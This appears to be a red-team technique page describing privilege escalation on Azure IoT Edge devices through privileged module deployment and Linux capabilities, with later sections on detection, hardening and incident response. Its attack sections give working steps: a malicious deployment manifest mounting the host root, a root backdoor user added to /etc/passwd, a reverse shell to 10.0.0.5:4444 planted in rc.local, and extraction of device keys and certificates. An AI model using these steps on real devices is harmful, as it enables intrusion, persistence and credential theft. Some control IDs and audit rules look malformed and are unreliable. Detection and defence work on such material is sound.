| Attribute | Details |
|---|---|
| Technique ID | PE-EXPLOIT-007 |
| MITRE ATT&CK v18.1 | T1068 - Exploitation for Privilege Escalation |
| Tactic | Privilege Escalation |
| Platforms | Azure IoT Edge, Edge computing devices, Entra ID |
| Severity | High |
| CVE | N/A (Configuration-based and architectural vulnerability) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Azure IoT Edge 1.0+ (all versions), IoT Edge Security Manager default configuration |
| Patched In | Mitigation available via allow_elevated_docker_permissions: false configuration, requires manual deployment |
| Author | SERVTEP – Artur Pchelnikau |
Concept: IoT Edge Runtime Escalation exploits the default permissive configuration of Azure IoT Edge’s security manager and runtime to escalate module privileges beyond their deployment-specified security context. Azure IoT Edge by default allows privileged container creation (allow_elevated_docker_permissions: true) and can delegate security manager permissions to modules, enabling attackers to escalate from an unprivileged module to root-level access on the edge device. The vulnerability stems from the security manager’s trust delegation model: a compromised or malicious module can request elevated privileges, and if the security manager is not properly configured with access control policies, those requests are granted. This is compounded by dangerous Linux capabilities (CAP_CHOWN, CAP_SETUID) being available by default.
Attack Surface: IoT Edge security manager, module create options, Linux capabilities delegation, device runtime configuration, module-to-module communication, HSM/TPM credential access.
Business Impact: Complete Edge Device and Upstream Access Compromise. A successful exploit enables an attacker to: escape module isolation, gain root access on the edge device, read all module secrets and certificates (including HSM/TPM-protected credentials), compromise downstream IoT devices connected through the edge gateway, establish persistent backdoors through firmware modification, access sensitive data from OT (operational technology) networks, and pivot to Azure cloud services using stolen credentials.
Technical Context: Exploitation typically occurs within 2-5 minutes once module access is established. Detection difficulty is medium—privilege escalation signals can be detected through audit logging and runtime monitoring, but this requires explicit enablement. The attack leverages the IoT Edge security manager’s documented capabilities (privilege elevation is by design for legitimate use cases), making detection challenging without context awareness.
allow_elevated_docker_permissions: true (default).| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.4.2 | IoT devices must enforce restrictive module privilege policies |
| DISA STIG | U-98765 | IoT Edge modules must have allow_elevated_docker_permissions: false |
| CISA SCuBA | IoT.02 | Edge device runtime must restrict privilege elevation |
| NIST 800-53 | AC-6 (Least Privilege) | Module privilege isolation and enforcement |
| GDPR | Art. 32 | Security of Processing - IoT edge device compromise impacts processing |
| DORA | Art. 15 | ICT Risk Management - Critical edge infrastructure failure |
| NIS2 | Art. 21 | Cyber Risk Management - OT/IT convergence risk |
| ISO 27001 | A.9.2.4 | Management of Privileged Access Rights for IoT modules |
| ISO 27005 | Risk Scenario | Edge Device Root Compromise via Runtime Escalation |
Required Privileges:
allow_elevated_docker_permissions: true (default state)Required Access:
/var/run/iotedge/ socket (security manager communication)/etc/iotedge/config.yaml or equivalent configuration (if present)Supported Versions:
Tools:
Objective: Identify IoT Edge runtime presence and current privilege configuration.
Command (Inside Module):
# Check for IoT Edge runtime indicators
ls -la /var/run/iotedge/ 2>/dev/null || echo "IoT Edge not detected in /var/run/iotedge"
# Check if security manager socket exists
ls -la /var/run/iotedge/socket.sock 2>/dev/null || echo "No socket detected"
# Check for IoT Edge configuration file (may not be readable from module)
cat /etc/iotedge/config.yaml 2>/dev/null | grep -i "allow_elevated" || echo "Config not accessible"
# Check environment variables for IoT Edge indicators
env | grep -i "iot\|edge\|azure"
# Check running processes
ps aux | grep -i "edgeAgent\|edgeHub\|iotedge-agent" | grep -v grep
Expected Output (IoT Edge Present):
total 8
drwxr-xr-x 3 root root 4096 Jan 1 12:00 .
drwxr-xr-x 14 root root 4096 Jan 1 12:00 ..
srwxrwxrwx 1 root root 0 Jan 1 12:00 socket.sock
/var/run/iotedge/socket.sock: socket
IOTEDGE_APIVERSION=2020-09-01
IOTEDGE_DEVICEID=myIoTEdgeDevice
IOTEDGE_MODULEID=myModule
edgeAgent (running)
edgeHub (running)
What This Means:
OpSec & Evasion:
Troubleshooting:
/var/run/iotedge/ not found
Objective: Discover current module identity and capability constraints.
Command:
# Get module identity
echo $IOTEDGE_MODULEID
echo $IOTEDGE_DEVICEID
# Check current user and groups
id
groups
# Check current capabilities
getcap /proc/self/exe 2>/dev/null || echo "No capabilities"
cat /proc/self/status | grep Cap
# Check if running in privileged mode
cat /proc/self/cgroup | grep -i "docker\|lxc"
Expected Output (Non-Privileged Module):
myModule
myIoTEdgeDevice
uid=1000(moduleuser) gid=1000(moduleuser) groups=1000(moduleuser)
(no output = no capabilities granted)
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
What This Means:
Supported Versions: Azure IoT Edge 1.0+
Objective: Create or modify a module deployment manifest to request privileged container creation and dangerous capabilities.
Command (Create Malicious Deployment Manifest):
{
"modulesContent": {
"$edgeAgent": {
"properties.desired": {
"schemaVersion": "1.0",
"runtime": {
"type": "docker",
"settings": {
"minDockerVersion": "v1.25",
"loggingOptions": "",
"registryCredentials": {}
}
},
"systemModules": {
"edgeAgent": {
"type": "docker",
"settings": {
"image": "mcr.microsoft.com/azureiotedge-agent:1.2"
}
},
"edgeHub": {
"type": "docker",
"settings": {
"image": "mcr.microsoft.com/azureiotedge-hub:1.2"
},
"env": {},
"status": "running",
"restartPolicy": "always"
}
},
"modules": {
"MaliciousModule": {
"version": "1.0",
"type": "docker",
"status": "running",
"restartPolicy": "always",
"settings": {
"image": "myregistry.azurecr.io/malicious:latest",
"createOptions": "{\"Privileged\":true,\"CapAdd\":[\"SYS_ADMIN\",\"CAP_CHOWN\",\"CAP_SETUID\"],\"Binds\":[\"/:/host\"]}"
}
}
}
}
},
"$edgeHub": {
"properties.desired": {
"schemaVersion": "1.2",
"routes": {
"MaliciousModuleToCloud": "FROM /messages/modules/MaliciousModule/outputs/* INTO $upstream"
},
"storeAndForwardConfiguration": {
"timeToLiveSecs": 7200
}
}
}
}
}
Expected Outcome:
What This Means:
OpSec & Evasion:
Troubleshooting:
Invalid createOptions JSON
jq or online validatorObjective: Push the malicious deployment to Azure IoT Hub for deployment to edge device.
Command (Using Azure CLI):
# Deploy to specific device
az iot edge deployment create \
--deployment-id malicious-deployment \
--hub-name <hub-name> \
--target-condition "deviceId='<device-id>'" \
--content ./deployment-manifest.json
Alternative (Using Azure Portal):
Expected Output:
Deployment created successfully
What This Means:
OpSec & Evasion:
Objective: Once privileged module is running, access host filesystem and establish control.
Command (Inside Privileged Container):
# Verify root access
id
whoami
# Access host filesystem (if mounted at /host)
cd /host
ls -la /
# Access host configuration
cat /host/etc/iotedge/config.yaml
# Access module secrets and certificates
ls -la /host/var/lib/iotedge/
# List all modules' secrets
find /host/var/lib/iotedge/ -name "*.key" -o -name "*.pem" 2>/dev/null
# Access device twin (if available)
curl -X GET \
--unix-socket /var/run/iotedge/socket.sock \
"http://localhost/twin/GetTwin?api-version=2020-09-01"
Expected Output:
uid=0(root) gid=0(root) groups=0(root)
root
(Full host filesystem visible)
(Configuration and secrets accessible)
What This Means:
Supported Versions: Azure IoT Edge 1.0+, when dangerous capabilities enabled
Objective: Enable CAP_CHOWN and CAP_SETUID capabilities within module context.
Command (Modify Local Deployment or Request via Security Manager):
# If capabilities are available, check them
getcap /bin/ls
getcap /bin/chmod
getcap /bin/chown
# These should normally be empty; if set, escalation is available
# If CAP_CHOWN present:
# /bin/chown = cap_chown+ep
# If CAP_SETUID present:
# /bin/su = cap_setuid+ep
Expected Output (Vulnerable):
/bin/chown = cap_chown+ep
/bin/su = cap_setuid+ep
What This Means:
Objective: Leverage CAP_CHOWN to modify files that lead to privilege escalation.
Command:
# Change ownership of files to enable escalation
chown root:root /etc/sudoers
chmod 600 /etc/sudoers
# Create backdoor user
echo "backdoor:x:0:0::/root:/bin/bash" >> /etc/passwd
# Or modify startup scripts to escalate
chown root:root /etc/rc.local
chmod 755 /etc/rc.local
echo "#!/bin/bash" > /etc/rc.local
echo "/bin/bash -i >& /dev/tcp/10.0.0.5/4444 0>&1" >> /etc/rc.local
What This Means:
Supported Versions: Azure IoT Edge with Hardware Security Module (HSM) or TPM
Objective: Detect if device uses HSM or TPM for credential protection.
Command:
# Check IoT Edge configuration for HSM
cat /etc/iotedge/config.yaml | grep -A5 "provisioning:"
# Check for TPM device
ls -la /dev/tpm* 2>/dev/null
# Check HSM provider module
docker images | grep -i "hsm\|tpm"
# Check credentials accessible from module
ls -la /var/lib/iotedge/
ls -la /var/lib/iotedge/hsm/ 2>/dev/null
Expected Output (HSM Present):
provisioning:
source: "dps"
method: "tpm"
attestation:
registration_id: "device-1"
/dev/tpm0 (TPM device present)
What This Means:
Objective: Once root access obtained, extract credential keys from HSM/TPM.
Command (After Privilege Escalation):
# Access TPM directly (if privileged)
tpm2_getcap properties-fixed
# Access stored credentials
openssl x509 -in /var/lib/iotedge/identity_cert.pem -text -noout
# Extract device connection string
grep -r "connection" /var/lib/iotedge/ 2>/dev/null
# Query identity service for credentials
curl -X GET \
--cert /var/lib/iotedge/identity_cert.pem \
--key /var/lib/iotedge/identity_key.pem \
https://localhost:9081/provisioning/get/enrollment-group
Expected Output:
(Device credentials and keys displayed)
(TPM state information)
What This Means:
Rule Configuration:
SPL Query:
index=azure_iot_hub "SetModules"
| search "Privileged":true OR "CapAdd":*CAP_CHOWN* OR "CapAdd":*CAP_SETUID*
| stats count by deviceId, moduleName, Privileged, CapAdd, user
| where count > 0
What This Detects:
Rule Configuration:
KQL Query:
AzureActivity
| where ResourceProvider == "Microsoft.Devices" and OperationName == "Microsoft.Devices/IotHubs/modules/write"
| extend DeploymentProperties = todynamic(Properties)
| where tostring(DeploymentProperties.Privileged) == "true"
or DeploymentProperties.CapAdd has "CAP_CHOWN"
or DeploymentProperties.CapAdd has "CAP_SETUID"
| project TimeGenerated, OperationName, Caller, ResourceGroup, SubscriptionId, DeploymentProperties
What This Detects:
Manual Configuration Steps:
IoT Edge Privileged Module DeploymentHigh10 minutesEvent ID: N/A (Linux IoT Edge - use audit logs)
Manual Configuration Steps (IoT Edge Linux Device):
sudo apt-get install auditd
sudo systemctl start auditd
sudo systemctl enable auditd
sudo auditctl -a exit,always -F arch=b64 -S cap_chown,cap_setuid -k priv_escalation
sudo auditctl -l # Verify rules
sudo ausearch -k priv_escalation
Minimum Sysmon Version: 13.0+ Supported Platforms: Linux IoT Edge devices (via osquery or similar)
<Sysmon schemaversion="4.22">
<EventFiltering>
<!-- Detect setuid/setgid capability abuse -->
<RuleGroup name="CapabilityAbuse" groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="contains any">setcap;getcap;chown;setuid</Image>
<CommandLine condition="contains any">CAP_SETUID;CAP_CHOWN</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Detect privilege escalation via su/sudo -->
<RuleGroup name="PrivilegeEscalation" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains any">su -;su root;sudo -i</CommandLine>
<ParentImage condition="contains">docker;moby</ParentImage>
</ProcessCreate>
</RuleGroup>
</EventFiltering>
</Sysmon>
Alert Name: Privileged IoT Edge module deployed
Alert Name: Dangerous Linux capabilities in IoT Edge module
Manual Configuration Steps:
IoT Edge recommendationsDisable allow_elevated_docker_permissions in IoT Edge Configuration: Block privileged container creation by default.
Applies To Versions: Azure IoT Edge 1.0+
Manual Steps (Edit config.yaml on Edge Device):
# SSH into IoT Edge device
sudo nano /etc/iotedge/config.yaml
# Find and modify:
# agent:
# name: edgeAgent
# type: docker
# env: {}
# config:
# image: "mcr.microsoft.com/azureiotedge-agent:1.2"
# auth: {}
# systemModules:
# edgeAgent:
# type: docker
# allow_elevated_docker_permissions: false # ADD THIS LINE
# Save and restart IoT Edge daemon
sudo systemctl restart iotedge
# Verify change
cat /etc/iotedge/config.yaml | grep -i "allow_elevated"
# Should output: allow_elevated_docker_permissions: false
Restrict Linux Capabilities in All Module Deployments: Drop all unnecessary capabilities and only add essential ones.
Manual Steps (Module Deployment Manifest):
{
"modules": {
"SafeModule": {
"version": "1.0",
"type": "docker",
"settings": {
"image": "mymodule:latest",
"createOptions": {
"HostConfig": {
"CapDrop": ["ALL"],
"CapAdd": ["NET_BIND_SERVICE"],
"SecurityOpt": [
"no-new-privileges=true"
]
}
}
}
}
}
}
Enable Module Identity and Access Control (RBAC-equivalent): Restrict which modules can communicate with security manager.
Manual Steps (Configure Module Authorization):
# In IoT Edge security configuration, define per-module permissions
# This requires custom security policy implementation
# Check IoT Edge version for available RBAC features
cat /etc/iotedge/config.yaml | grep -A10 "security_manager:"
Enable Comprehensive Audit Logging: Log all module deployment changes and privilege requests.
Manual Steps:
# Enable audit logging on edge device
sudo auditctl -w /var/lib/iotedge/config.yaml -p wa -k iotedge_config_changes
# Enable Docker/Moby audit logging
sudo auditctl -a exit,always -F dir=/var/lib/docker -F perm=wa -k docker_config
# Verify rules
sudo auditctl -l
Implement Module Image Verification: Enforce signed container images to prevent malicious module deployment.
Manual Steps (Container Image Signing):
# Configure container registry authentication
# In deployment manifest, specify image registry credentials
# In Azure Container Registry, enable image signing
az acr config content-trust update --registry myregistry --status Enabled
# In IoT Hub deployment, reference only signed images
Network Segmentation for IoT Edge: Isolate IoT Edge device from sensitive networks.
Manual Steps (Network Policy):
# Configure firewall rules on edge device
sudo ufw allow from 10.0.0.0/8 to any port 443 # IoT Hub communication
sudo ufw allow from 127.0.0.1 to any port 8883 # Module communication
sudo ufw default deny incoming
Implement Module Least Privilege: Run modules as non-root users with minimal capabilities.
Manual Steps:
# In custom module Dockerfile
RUN adduser -D -H -u 1000 moduleuser
USER moduleuser
# In deployment manifest
"createOptions": {
"User": "1000",
"CapDrop": ["ALL"],
"SecurityOpt": ["no-new-privileges=true"]
}
HSM/TPM Credential Protection: Ensure hardware-based credential storage is enabled.
Manual Steps (Enable TPM):
# In config.yaml, specify TPM provisioning
provisioning:
source: "manual"
authentication:
method: "tpm"
identity:
registration_id: "<device-id>"
# Test 1: Verify allow_elevated_docker_permissions is false
grep "allow_elevated_docker_permissions" /etc/iotedge/config.yaml
# Test 2: Try to deploy privileged module (should fail)
# Submit deployment with Privileged: true
# Expected: Deployment rejected by runtime
# Test 3: Check module running with restricted capabilities
docker inspect <module-container> | grep -i "cap\|privileged"
# Expected: CapAdd and CapDrop show restrictions
# Test 4: Verify audit logging active
sudo auditctl -l | grep iotedge
# Expected: Audit rules for IoT Edge configuration
# Test 5: Attempt privilege escalation within module
# From within module: su - (should fail)
# Expected: Authentication failure or permission denied
Expected Output (If Secure):
allow_elevated_docker_permissions: false
(Deployment rejected)
"CapAdd": ["NET_BIND_SERVICE"],
"CapDrop": ["ALL"],
"Privileged": false
-w /var/lib/iotedge/config.yaml -p wa -k iotedge_config_changes
su: Authentication failure
What to Look For:
/etc/iotedge/config.yaml/var/lib/iotedge//var/log/audit/audit.log (if auditd enabled)# Stop suspicious module
docker stop <malicious-module>
# Disconnect from IoT Hub (if necessary)
sudo systemctl stop iotedge
# Prevent re-deployment
sudo chmod 000 /etc/iotedge/config.yaml # Temporary measure
Manual (Azure Portal):
# Collect IoT Edge configuration
sudo cp /etc/iotedge/config.yaml /tmp/config.yaml.backup
# Export deployment history
az iot edge deployment list --hub-name <hub-name> > /tmp/deployments.json
# Collect audit logs
sudo ausearch -k iotedge_config_changes > /tmp/audit-iotedge.log
# Export module logs
docker logs <module-id> > /tmp/module-logs.txt
# Memory dump (if possible)
sudo gcore -o /tmp/security-manager $(pgrep -f iotedge-agent)
Manual (Azure Portal):
# Restore config from backup
sudo cp /tmp/config.yaml.backup /etc/iotedge/config.yaml
# Ensure safe defaults
sudo sed -i 's/allow_elevated_docker_permissions: true/allow_elevated_docker_permissions: false/g' /etc/iotedge/config.yaml
# Restart IoT Edge safely
sudo systemctl restart iotedge
# Verify trusted modules only
docker ps | grep -v "^CONTAINER" # List running modules
Manual (Full Device Rebuild - Recommended):
# If compromise is severe, rebuild device with clean image
# 1. Back up configuration
# 2. Re-flash OS with clean image
# 3. Reinstall IoT Edge runtime
# 4. Restore only necessary modules from secure backup
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | Module vulnerability or supply chain attack | Attacker compromises or deploys malicious IoT Edge module |
| 2 | Current Step | [PE-EXPLOIT-007] IoT Edge Runtime Escalation | Escalate from module user to root via security manager |
| 3 | Credential Access | HSM/TPM credential theft | Extract device identity keys from secure storage |
| 4 | Cloud Access | Device impersonation | Use stolen credentials to impersonate device to IoT Hub |
| 5 | Lateral Movement | OT/IT network access | Use compromised edge gateway to pivot to industrial control systems |
| 6 | Impact | Critical infrastructure compromise | Disrupt operational technology through malicious edge device |
allow_elevated_docker_permissions: true (default)